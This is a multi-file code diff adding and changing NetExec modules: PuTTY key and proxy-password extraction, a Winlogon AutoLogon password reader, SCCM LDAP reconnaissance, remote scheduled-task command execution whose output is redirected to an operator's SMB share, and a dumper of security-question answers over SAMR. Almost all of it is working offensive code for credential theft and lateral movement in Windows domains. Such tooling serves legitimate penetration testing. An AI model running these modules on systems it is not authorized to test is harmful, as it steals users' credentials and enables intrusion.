try:
|
||||
self.connection.conn.getFile(share, file_path, buf.write)
|
||||
except Exception as e:
|
||||
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
|
||||
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
|
||||
else:
|
||||
self.context.log.exception(f"Error downloading private key: {e}")
|
||||
continue
|
||||
file.write(buf.getvalue())
|
||||
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
|
||||
self.context.log.highlight(f"Sessionname: {session['session_name']}")
|
||||
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
|
||||
self.context.log.highlight(f"Protocol: {session['protocol']}")
|
||||
if session["proxy_password"]:
|
||||
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
|
||||
self.context.log.highlight(f"Sessionname: {session['session_name']}")
|
||||
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
|
||||
self.context.log.highlight(f"Protocol: {session['protocol']}")
|
||||
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
|
||||
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
|
||||
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
|
||||
with open(proxycreds_file, "a") as f:
|
||||
f.write("================\n")
|
||||
f.write(f"User: {session['user']}\n")
|
||||
f.write(f"Sessionname: {session['session_name']}\n")
|
||||
f.write(f"Host: {session['hostname']}:{session['port']}\n")
|
||||
f.write(f"Protocol: {session['protocol']}\n")
|
||||
f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
|
||||
f.write(f"Proxy Username: {session['proxy_username']}\n")
|
||||
f.write(f"Proxy Password: {session['proxy_password']}\n")
|
||||
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.connection = connection
|
||||
self.context = context
|
||||
|
||||
try:
|
||||
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
|
||||
self.rrp.enableRegistry()
|
||||
|
||||
all_users = self.get_all_users()
|
||||
loaded_user_objects = self.get_logged_on_users()
|
||||
self.user_dict = self.sid_to_name(all_users)
|
||||
|
||||
# Users which must be loaded into registry:
|
||||
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
|
||||
self.load_missing_users(unloaded_user_objects)
|
||||
|
||||
sessions = self.get_private_key_paths(all_users)
|
||||
if sessions:
|
||||
self.extract_session(sessions)
|
||||
else:
|
||||
self.context.log.info("No saved putty sessions found in registry")
|
||||
|
||||
self.unload_missing_users(unloaded_user_objects)
|
||||
except Exception as e:
|
||||
context.log.exception(f"Error: {e}")
|
||||
finally:
|
||||
self.rrp.finish()
|
||||
@@ -103,6 +103,7 @@ class NXCModule:
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
|
||||
+5
-3
@@ -83,7 +83,7 @@ class NXCModule:
|
||||
|
||||
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
|
||||
|
||||
if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
|
||||
if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
|
||||
if "ram" in self.action:
|
||||
# Nt version under 6 not support RAM.
|
||||
try:
|
||||
@@ -101,7 +101,7 @@ class NXCModule:
|
||||
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
wmi_rdp._rdp_WMI__dcom.disconnect()
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
|
||||
|
||||
class RdpSmb:
|
||||
@@ -218,6 +218,7 @@ class RdpWmi:
|
||||
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__remoteHost = connection.host
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__timeout = timeout
|
||||
|
||||
@@ -233,11 +234,12 @@ class RdpWmi:
|
||||
oxidResolver=True,
|
||||
doKerberos=self.__doKerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
remoteHost=self.__remoteHost,
|
||||
)
|
||||
|
||||
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
if self.__currentprotocol == "smb":
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
|
||||
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
class NXCModule:
|
||||
r"""
|
||||
WinLogon AutoLogon: extract the credential from the following registry hive
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
|
||||
Module by @pentest_swissky
|
||||
"""
|
||||
|
||||
name = "reg-winlogon"
|
||||
description = "Collect autologon credential stored in the registry"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
|
||||
for reg_key in reg_keys:
|
||||
try:
|
||||
dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
|
||||
context.log.highlight(f"{reg_key}: {reg_value}")
|
||||
except Exception:
|
||||
context.log.highlight(f"{reg_key}:")
|
||||
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
remoteOps.finish()
|
||||
@@ -14,8 +14,8 @@ class NXCModule:
|
||||
""""""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
command = "reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
|
||||
context.log.display("Executing command")
|
||||
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
|
||||
context.log.debug(f"Executing command: {command}")
|
||||
p = connection.execute(command, True)
|
||||
if "The system was unable to find the specified registry key or value" in p:
|
||||
context.log.debug("Unable to find RunAsPPL Registry Key")
|
||||
|
||||
@@ -0,0 +1,288 @@
|
||||
from impacket.ldap import ldap, ldaptypes, ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
SAM_USER_OBJECT = 0x30000000
|
||||
SAM_MACHINE_ACCOUNT = 0x30000001
|
||||
SAM_GROUP_OBJECT = 0x10000000
|
||||
LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Implementation of the SCCM RECON-1 technique to find SCCM related objects in Active Directory.
|
||||
See:
|
||||
https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
|
||||
https://github.com/garrettfoster13/sccmhunter
|
||||
|
||||
Module by @NeffIsBack
|
||||
"""
|
||||
|
||||
name = "sccm"
|
||||
description = "Find a SCCM infrastructure in the Active Directory"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.sccm_site_servers = [] # List of dns host names of the SCCM site servers
|
||||
self.sccm_sites = {} # List of SCCM sites with their management points (Sorted by site code)
|
||||
self.base_dn = ""
|
||||
self.recursive_resolve = False
|
||||
|
||||
self.user_objects = []
|
||||
self.computer_objects = []
|
||||
self.group_objects = {}
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
BASE_DN The base domain name for the LDAP query
|
||||
REC_RESOLVE Resolve members of groups recursively. Default: False
|
||||
"""
|
||||
if module_options and "BASE_DN" in module_options:
|
||||
self.base_dn = module_options["BASE_DN"]
|
||||
if module_options and "REC_RESOLVE" in module_options:
|
||||
self.recursive_resolve = bool(module_options["REC_RESOLVE"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn
|
||||
self.sc = ldap.SimplePagedResultsControl()
|
||||
|
||||
# Basic SCCM enumeration
|
||||
try:
|
||||
# Search for SCCM root object
|
||||
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
|
||||
controls = security_descriptor_control(sdflags=0x04)
|
||||
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
|
||||
result = connection.ldapConnection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
sizeLimit=0,
|
||||
searchControls=controls,
|
||||
searchBase=self.base_dn,
|
||||
)
|
||||
|
||||
# There should be only one result
|
||||
for item in result:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry):
|
||||
self.context.log.success(f"Found SCCM object: {item[0]}")
|
||||
self.get_site_servers(item)
|
||||
self.get_sites()
|
||||
self.get_management_points()
|
||||
|
||||
# Print results
|
||||
self.context.log.success(f"Found {len(self.sccm_site_servers)} Site Servers:")
|
||||
for site in self.sccm_site_servers:
|
||||
ip = self.connection.resolver(site)
|
||||
self.context.log.highlight(f"{site} - {ip['host'] if ip else 'unknown'}")
|
||||
self.context.log.success(f"Found {len(self.sccm_sites)} SCCM Sites:")
|
||||
for site in self.sccm_sites:
|
||||
self.context.log.highlight(f"{self.sccm_sites[site]['cn']}")
|
||||
self.context.log.highlight(f" Site Code: {site.rjust(14)}")
|
||||
self.context.log.highlight(f" Assignment Site Code: {self.sccm_sites[site]['AssignmentSiteCode'].rjust(3)}")
|
||||
|
||||
# If there aren't Management Points, it's a Central Administration Site
|
||||
if self.sccm_sites[site]["ManagementPoints"]:
|
||||
self.context.log.highlight(f" CAS: {' ':<17}{False}")
|
||||
self.context.log.highlight(" Management Points:")
|
||||
for mp in self.sccm_sites[site]["ManagementPoints"]:
|
||||
self.context.log.highlight(f" CN:{' ':<12}{mp['cn']}")
|
||||
self.context.log.highlight(f" DNS Hostname:{' ':<2}{mp['dNSHostName']}")
|
||||
self.context.log.highlight(f" IP Address:{' ':<4}{mp['IPAddress']}")
|
||||
self.context.log.highlight(f" Default MP:{' ':<4}{mp['mSSMSDefaultMP']}")
|
||||
else:
|
||||
self.context.log.highlight(f" CAS: {' ':<17}{True}")
|
||||
self.context.log.highlight("")
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(f"Got unexpected exception: {e}")
|
||||
|
||||
# SCCM named objects enumeration
|
||||
self.get_sccm_named_objects(context, connection)
|
||||
if self.user_objects:
|
||||
context.log.success(f"Found {len(self.user_objects)} SCCM related user objects:")
|
||||
for user in self.user_objects:
|
||||
context.log.highlight(user)
|
||||
if self.computer_objects:
|
||||
context.log.success(f"Found {len(self.computer_objects)} SCCM related computer objects:")
|
||||
for computer in self.computer_objects:
|
||||
context.log.highlight(computer)
|
||||
if self.group_objects:
|
||||
context.log.success(f"Found {len(self.group_objects)} SCCM related group objects:")
|
||||
for group in self.group_objects:
|
||||
context.log.highlight(self.group_objects[group]["sAMAccountName"])
|
||||
for child in self.group_objects[group]["children"]:
|
||||
if int(child["sAMAccountType"]) == SAM_USER_OBJECT:
|
||||
context.log.highlight(f" {child['sAMAccountName']} -> User")
|
||||
elif int(child["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
|
||||
context.log.highlight(f" {child['sAMAccountName']} -> Computer")
|
||||
elif int(child["sAMAccountType"]) == SAM_GROUP_OBJECT:
|
||||
context.log.highlight(f" {child['sAMAccountName']} -> Group")
|
||||
|
||||
def get_sccm_named_objects(self, context, connection):
|
||||
"""Enumerate users/groups/computers with "SCCM" in their name"""
|
||||
# hippity hoppity your code is now my property, filter stolen from the awesome sccmhunter repository
|
||||
# https://github.com/garrettfoster13/sccmhunter
|
||||
try:
|
||||
yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))"
|
||||
context.log.display("Searching for SCCM related objects")
|
||||
result = connection.ldapConnection.search(
|
||||
searchFilter=yoinkers,
|
||||
searchBase=self.base_dn,
|
||||
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
|
||||
)
|
||||
|
||||
result = parse_result_attributes(result)
|
||||
for res in result:
|
||||
if "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_USER_OBJECT:
|
||||
self.user_objects.append(res["sAMAccountName"])
|
||||
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
|
||||
self.computer_objects.append(res["sAMAccountName"])
|
||||
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_GROUP_OBJECT:
|
||||
self.group_objects[res["distinguishedName"]] = {
|
||||
"sAMAccountName": res["sAMAccountName"],
|
||||
"children": [],
|
||||
}
|
||||
if self.recursive_resolve:
|
||||
self.resolve_recursive(res["distinguishedName"])
|
||||
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(f"Got unexpected exception: {e}")
|
||||
|
||||
def resolve_recursive(self, dn):
|
||||
"""Recursively resolve members of a group."""
|
||||
try:
|
||||
self.context.log.debug(f"Resolving group members recursively for {dn}")
|
||||
# Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN
|
||||
result = self.connection.ldapConnection.search(
|
||||
searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})",
|
||||
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
|
||||
)
|
||||
|
||||
result = parse_result_attributes(result)
|
||||
for res in result:
|
||||
self.group_objects[dn]["children"].append({
|
||||
"sAMAccountName": res["sAMAccountName"],
|
||||
"distinguishedName": res["distinguishedName"],
|
||||
"sAMAccountType": res["sAMAccountType"],
|
||||
})
|
||||
|
||||
except LDAPSearchError as e:
|
||||
self.context.log.error(f"Error resolving group members: {e}")
|
||||
|
||||
def get_management_points(self):
|
||||
"""Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code."""
|
||||
try:
|
||||
response = self.connection.ldapConnection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter="(objectClass=mSSMSManagementPoint)",
|
||||
attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"],
|
||||
)
|
||||
|
||||
response_parsed = parse_result_attributes(response)
|
||||
|
||||
for mp in response_parsed:
|
||||
ip = self.connection.resolver(mp["dNSHostName"])
|
||||
self.sccm_sites[mp["mSSMSSiteCode"]]["ManagementPoints"].append({
|
||||
"cn": mp["cn"],
|
||||
"dNSHostName": mp["dNSHostName"],
|
||||
"IPAddress": ip["host"] if ip else "-",
|
||||
"mSSMSDefaultMP": mp["mSSMSDefaultMP"],
|
||||
})
|
||||
|
||||
except LDAPSearchError as e:
|
||||
self.context.log.error(f"Error searching for management points: {e}")
|
||||
|
||||
def get_sites(self):
|
||||
"""Searches for all SCCM sites in the Active Directory, sorted by site code."""
|
||||
try:
|
||||
response = self.connection.ldapConnection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter="(objectClass=mSSMSSite)",
|
||||
attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"],
|
||||
)
|
||||
|
||||
response_parsed = parse_result_attributes(response)
|
||||
|
||||
for site in response_parsed:
|
||||
self.sccm_sites[site["mSSMSSiteCode"]] = {
|
||||
"cn": site["cn"],
|
||||
"AssignmentSiteCode": site["mSSMSAssignmentSiteCode"],
|
||||
"ManagementPoints": []
|
||||
}
|
||||
|
||||
except LDAPSearchError as e:
|
||||
self.context.log.error(f"Error searching for sites: {e}")
|
||||
|
||||
def get_site_servers(self, item):
|
||||
"""Extracts the site servers from the root SCCM object."""
|
||||
raw_sec_descriptor = str(item[1][0][1][0]).encode("latin-1")
|
||||
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=raw_sec_descriptor)
|
||||
self.parse_dacl(principal_security_descriptor["Dacl"])
|
||||
self.sccm_site_servers = set(self.sccm_site_servers) # Make list unique
|
||||
|
||||
def parse_dacl(self, dacl):
|
||||
"""Parses a DACL and extracts the dns host names with full control over the SCCM object."""
|
||||
self.context.log.debug("Parsing DACL")
|
||||
for ace in dacl["Data"]:
|
||||
self.parse_ace(ace)
|
||||
|
||||
def parse_ace(self, ace):
|
||||
"""Parses an ACE and resolves the SID if the SID of the ACE has full control."""
|
||||
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE"]:
|
||||
ace = ace["Ace"]
|
||||
sid = ace["Sid"].formatCanonical()
|
||||
mask = ace["Mask"]
|
||||
fullcontrol = 0xf01ff
|
||||
if mask.hasPriv(fullcontrol):
|
||||
self.resolve_SID(sid)
|
||||
|
||||
def resolve_SID(self, sid):
|
||||
"""Tries to resolve a SID and add the dNSHostName to the sccm site list."""
|
||||
try:
|
||||
self.context.log.debug(f"Resolving SID: {sid}")
|
||||
result = self.connection.ldapConnection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"],
|
||||
)
|
||||
|
||||
parsed_result = parse_result_attributes(result)
|
||||
|
||||
if not parsed_result:
|
||||
return None
|
||||
else:
|
||||
parsed_result = parsed_result[0] # We only have one result as we always query a single SID
|
||||
|
||||
if int(parsed_result["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
|
||||
self.context.log.debug(f"Found object with full control over SCCM object. SID: {sid}, dns_hostname: {parsed_result['dNSHostName']}")
|
||||
self.sccm_site_servers.append(parsed_result["dNSHostName"])
|
||||
elif int(parsed_result["sAMAccountType"]) == SAM_GROUP_OBJECT:
|
||||
if isinstance(parsed_result["member"], list):
|
||||
for member in parsed_result["member"]:
|
||||
member_sid = self.dn_to_sid(member)
|
||||
if member_sid:
|
||||
self.resolve_SID(member_sid)
|
||||
else: # Group has only one member
|
||||
member_sid = self.dn_to_sid(parsed_result["member"])
|
||||
if member_sid:
|
||||
self.resolve_SID(member_sid)
|
||||
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"SID not found in LDAP: {sid}, {e}")
|
||||
return ""
|
||||
|
||||
def dn_to_sid(self, dn) -> str:
|
||||
"""Tries to resolve a DN to a SID."""
|
||||
result = self.connection.ldapConnection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter=f"(distinguishedName={dn})",
|
||||
attributes=["sAMAccountName", "objectSid"],
|
||||
)
|
||||
|
||||
# Extract the SID of the object
|
||||
sid_raw = bytes(result[0][1][0][1].components[0])
|
||||
return ldaptypes.LDAP_SID(data=sid_raw).formatCanonical()
|
||||
@@ -4,6 +4,7 @@ from datetime import datetime
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
|
||||
@@ -14,17 +15,29 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
CMD Command to execute
|
||||
USER User to execute command as
|
||||
TASK OPTIONAL: Set a name for the scheduled task name
|
||||
FILE OPTIONAL: Set a name for the command output file
|
||||
LOCATION OPTIONAL: Set a location for the command output file (e.g. '\tmp\')
|
||||
"""
|
||||
self.cmd = self.user = self.time = None
|
||||
self.cmd = self.user = self.task = self.file = self.location = self.time = None
|
||||
if "CMD" in module_options:
|
||||
self.cmd = module_options["CMD"]
|
||||
|
||||
if "USER" in module_options:
|
||||
self.user = module_options["USER"]
|
||||
|
||||
if "TASK" in module_options:
|
||||
self.task = module_options["TASK"]
|
||||
|
||||
if "FILE" in module_options:
|
||||
self.file = module_options["FILE"]
|
||||
|
||||
if "LOCATION" in module_options:
|
||||
self.location = module_options["LOCATION"]
|
||||
|
||||
name = "schtask_as"
|
||||
description = "Remotely execute a scheduled task as a logged on user"
|
||||
supported_protocols = ["smb"]
|
||||
@@ -50,8 +63,12 @@ class NXCModule:
|
||||
connection.domain,
|
||||
self.user,
|
||||
self.cmd,
|
||||
self.file,
|
||||
self.task,
|
||||
self.location,
|
||||
connection.kerberos,
|
||||
connection.aesKey,
|
||||
connection.host,
|
||||
connection.kdcHost,
|
||||
connection.hash,
|
||||
self.logger,
|
||||
@@ -77,7 +94,7 @@ class NXCModule:
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
@@ -89,6 +106,7 @@ class TSCH_EXEC:
|
||||
self.__retOutput = False
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__remoteHost = remoteHost
|
||||
self.__kdcHost = kdcHost
|
||||
self.__tries = tries
|
||||
self.__output_filename = None
|
||||
@@ -96,6 +114,9 @@ class TSCH_EXEC:
|
||||
self.logger = logger
|
||||
self.cmd = cmd
|
||||
self.user = user
|
||||
self.file = file
|
||||
self.task = task
|
||||
self.location = location
|
||||
|
||||
if hashes is not None:
|
||||
if hashes.find(":") != -1:
|
||||
@@ -108,6 +129,7 @@ class TSCH_EXEC:
|
||||
|
||||
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
|
||||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
self.__rpctransport.setRemoteHost(self.__remoteHost)
|
||||
|
||||
if hasattr(self.__rpctransport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
@@ -177,7 +199,11 @@ class TSCH_EXEC:
|
||||
<Command>cmd.exe</Command>
|
||||
"""
|
||||
if self.__retOutput:
|
||||
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
|
||||
fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
|
||||
if self.file is None:
|
||||
self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
|
||||
else:
|
||||
self.__output_filename = os.path.join(fileLocation, self.file)
|
||||
if fileless:
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
argument_xml = f" <Arguments>/C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1</Arguments>"
|
||||
@@ -203,9 +229,7 @@ class TSCH_EXEC:
|
||||
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
|
||||
tmpName = gen_random_string(8)
|
||||
|
||||
tmpName = gen_random_string(8) if self.task is None else self.task
|
||||
xml = self.gen_xml(command, fileless)
|
||||
|
||||
self.logger.info(f"Task XML: {xml}")
|
||||
@@ -252,7 +276,7 @@ class TSCH_EXEC:
|
||||
if fileless:
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
|
||||
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except OSError:
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import ntpath
|
||||
from sys import exit
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -44,7 +45,7 @@ class NXCModule:
|
||||
exit(1)
|
||||
|
||||
self.scf_name = module_options["NAME"]
|
||||
self.scf_path = f"/tmp/{self.scf_name}.scf"
|
||||
self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
|
||||
self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
|
||||
|
||||
if not self.cleanup:
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
from impacket.dcerpc.v5 import samr, transport
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from json import loads
|
||||
from traceback import format_exc as traceback_format_exc
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Adamkadaban: @Adamkadaban
|
||||
Based on research from @0gtweet (@gtworek)
|
||||
|
||||
Much of this code was copied from add_computer.py
|
||||
Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
|
||||
"""
|
||||
|
||||
name = "security-questions"
|
||||
description = "Gets security questions and answers for users on computer"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module):
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.hostname + "." + connection.domain
|
||||
self.__target = self.__kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__targetIp = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__nthash = ""
|
||||
self.__lmhash = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
self.getSAMRResetInfo(context)
|
||||
|
||||
def getSAMRResetInfo(self, context):
|
||||
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.set_dport(445)
|
||||
rpc_transport.setRemoteHost(self.__targetIp)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
try:
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
# obtain server handle for samr connection
|
||||
resp = samr.hSamrConnect(dce)
|
||||
server_handle = resp["ServerHandle"]
|
||||
|
||||
resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
|
||||
domains = resp["Buffer"]["Buffer"]
|
||||
|
||||
resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
|
||||
|
||||
# obtain domain handle for samr connection
|
||||
resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
|
||||
domain_handle = resp["DomainHandle"]
|
||||
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumeration_context = 0
|
||||
|
||||
# try to iterate through users in domain entries for connection
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
try:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
raise
|
||||
resp = e.get_packet()
|
||||
|
||||
for user in resp["Buffer"]["Buffer"]:
|
||||
try:
|
||||
context.log.info(f"Querying security questions for User: {user['Name']}")
|
||||
# request SAMR ID 30
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
|
||||
r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
|
||||
info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
|
||||
|
||||
reset_data = info["Buffer"]["Reset"]["ResetData"]
|
||||
if reset_data == b"":
|
